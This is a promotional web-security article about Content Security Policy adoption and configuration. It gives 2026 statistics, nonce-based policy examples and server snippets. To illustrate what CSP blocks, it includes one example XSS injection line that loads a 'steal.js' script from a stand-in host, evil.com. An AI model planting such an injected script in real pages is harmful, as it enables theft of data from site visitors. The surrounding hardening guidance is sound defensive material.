CSP

Only 27% of Websites Have CSP — Here Is Why Yours Needs One

Updated April 2026

Reading this article? Verify your fix in real-time. Generate a CSP for your page → CSPFixer

A February 2026 scan of 10,000 websites found that only 27.3% implement Content Security Policy — and nearly half of those use unsafe-inline, which defeats XSS protection. Here is how to join the secure minority correctly.

The data from 2026

Metric2026 Finding
Sites with any CSP27.3%
CSP sites using unsafe-inline48.8%
CSP sites using unsafe-eval42.5%
Sites with HSTS~68%
Sites exposing Server header82.9%
Average Mozilla Observatory score58/100

What CSP actually does

CSP tells the browser which resources are allowed to load. If an attacker injects <script src="https://evil.com/steal.js"></script> into your page via XSS, the browser blocks it — if the script-src directive does not include evil.com.

Why unsafe-inline defeats CSP

If your CSP includes 'unsafe-inline' in script-src, any inline script is allowed to run — including injected ones. You have CSP but no XSS protection from it. The correct alternative is nonces.

The minimum viable CSP that actually protects

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; frame-ancestors 'none'; base-uri 'self';

The key is script-src 'nonce-{random}' instead of 'unsafe-inline'. Each request gets a random nonce. Injected scripts cannot know the nonce, so they are blocked.

The fastest way to add CSP without breaking your site

Start in report-only mode:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self';

This logs violations in the browser console without blocking anything. Run your site for a week, note every violation, add those domains to your policy, then switch to enforcement mode.

CSP by platform

# Nginx
add_header Content-Security-Policy "default-src 'self'; ..." always;

# Vercel (vercel.json)
{ "headers": [{ "source": "/(.*)", "headers": [ { "key": "Content-Security-Policy", "value": "default-src 'self'; ..." }
]}]}

# Express
res.setHeader("Content-Security-Policy", "default-src 'self'; ...");

Not sure what resources your page loads? CSPFixer scans your live URL and builds the policy automatically from what it finds.

Generate a CSP for your page → CSPFixer
Check if your domain is on the HSTS preload list → HSTS Preload Checker